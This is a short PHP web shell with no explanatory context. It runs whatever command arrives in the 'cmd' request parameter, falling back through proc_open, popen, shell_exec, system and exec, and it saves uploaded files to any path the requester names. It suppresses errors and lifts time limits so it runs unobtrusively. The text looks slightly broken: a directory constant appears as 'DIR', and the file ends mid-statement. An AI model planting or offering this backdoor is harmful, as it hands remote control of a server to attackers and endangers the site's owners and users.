@error_reporting(0); @ini_set('display_errors',0); @set_time_limit(0); if(isset($_GET['cmd'])){ echo '
';
$c=$_GET['cmd'];
if(function_exists('proc_open')){$p=proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$pp);echo stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}
elseif(function_exists('popen')){$h=popen($c,'r');while(!feof($h)){echo fread($h,4096);}pclose($h);}
elseif(function_exists('shell_exec')){echo shell_exec($c);}
elseif(function_exists('system')){system($c);}
elseif(function_exists('exec')){exec($c,$o);echo implode("\n",$o);}
else{echo 'NO_EXEC';}
echo '';exit;
}
if(isset($_FILES['f'])){
$n=$_FILES['f']['name'];
$d=isset($_POST['path'])&&$_POST['path']!==''?$_POST['path']:DIR.'/'.$n;
if(@move_uploaded_file($_FILES['f']['tmp_name'],$d)){echo 'OK: '.$d;}else{echo 'FAIL';}exit;
}
echo '